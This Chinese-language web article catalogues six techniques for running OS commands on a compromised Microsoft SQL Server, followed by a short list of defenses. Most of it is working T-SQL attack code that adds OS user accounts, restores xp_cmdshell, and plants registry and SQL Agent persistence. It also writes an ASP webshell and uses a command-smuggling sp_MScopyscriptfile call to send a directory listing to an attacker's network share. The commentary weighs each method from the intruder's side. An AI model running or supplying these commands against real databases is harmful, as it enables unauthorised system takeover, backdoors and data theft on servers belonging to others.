首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

MSSQL 遠端執行系統命令的六種實戰手法與防禦對策

     編輯:關於SqlServer

假設已透過 SQL 注入或弱口令取得 1433 連線權限,以下為駭客常用的六種在 MSSQL 執行系統指令、提權或植入後門的手法,並附上對應防禦建議。

1. xp_cmdshell —— 最經典也最容易被封鎖

EXEC xp_cmdshell 'cmd.exe /c net user aaa bbb /add'
  • 優點: 有回顯,操作直觀。
  • 缺點: 管理員常刪除此擴展預存程序:EXEC sp_dropextendedproc 'xp_cmdshell'。
  • 還原: EXEC sp_addextendedproc xp_cmdshell, @dllname='xplog70.dll' (SQL 2000) / xpsql70.dll (SQL 7.0)。
  • 徹底防禦: 停止 MSSQL 服務 → 刪除 xplog70.dll → 重啟服務。物理刪除 DLL 根絕濫用。

2. 寫入登錄表啟動項

EXEC xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'czy82', 'REG_SZ', 'net user czy bb /add'
  • 無回顯、無法即時執行、需重啟生效,實用性較低。

3. sp_oacreate + sp_oamethod 呼叫 WScript.Shell / FSO

DECLARE @s INT
EXEC sp_oacreate 'wscript.shell', @s OUT
EXEC sp_oamethod @s, 'run', NULL, 'cmd.exe /c server.exe'
-- 進階:寫入暫存檔再用 FSO 讀回結果
DECLARE @o INT, @f INT, @str NVARCHAR(4000)
EXEC sp_oacreate 'scripting.filesystemobject', @o OUT
EXEC sp_oamethod @o, 'opentextfile', @f OUT, 'c:\temp.txt', 1
EXEC sp_oamethod @f, 'readall', @str OUT
PRINT @str
  • 可繞過 xp_cmdshell 限制,但預設無回顯,需配合 FSO 讀檔取得輸出。

4. SQL Agent 作業系統

USE msdb
EXEC sp_add_job @job_name='czy82'
EXEC sp_add_jobstep @job_name='czy82', @step_name='Exec', @subsystem='CMDEXEC', @command='dir c:\ > c:\b.txt'
EXEC sp_add_jobserver @job_name='czy82', @server_name='smscomputer'
EXEC sp_start_job @job_name='czy82'
  • 需 SQLSERVERAGENT 服務啟動(預設關閉),public 角色也可執行,風險極高。
  • 搭配 xp_execresultset 可讓 public 角色間接執行 xp_cmdshell。

5. SQL Agent 任意檔案建立/覆寫漏洞

EXEC sp_add_job @job_name='ArbitraryFileCreate', @output_file_name='c:\sqlafc123.txt'
EXEC sp_add_jobstep @job_name='ArbitraryFileCreate', @subsystem='TSQL', @command='select ''hello'''
EXEC sp_start_job @job_name='ArbitraryFileCreate'
  • 可將 VBS 腳本寫入啟動目錄,達成持久化後門。
  • 建議 @subsystem='CMDEXEC' 避免輸出檔頭部雜訊。

6. sp_makewebtask / sp_MScopyscriptfile 寫 WebShell

EXEC sp_makewebtask @outputfile='d:\sms\a.asp', @query='select ''<form method=POST>...'''
-- 或
DECLARE @cmd VARCHAR(100), @sf VARCHAR(200)
SET @cmd='dir c:\ > "\\attacker\share\dir.txt"'
SET @sf='c:\autoexec.bat > nul" | ' + @cmd + ' | rd "'
EXEC sp_MScopyscriptfile @sf, ''
  • 可直接產出可執行的 ASP/ASPX WebShell,極度危險。

防禦總結

  1. 最小權限原則:禁用 public 執行危險預存程序權限。
  2. 物理移除:刪除 xplog70.dll、xpsql70.dll。
  3. 停用 SQL Agent 或嚴格限制其權限。
  4. 啟用防火牆封鎖 1433 對外暴露。
  5. 定期稽核 sysjobs、sysjobsteps 異常作業。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved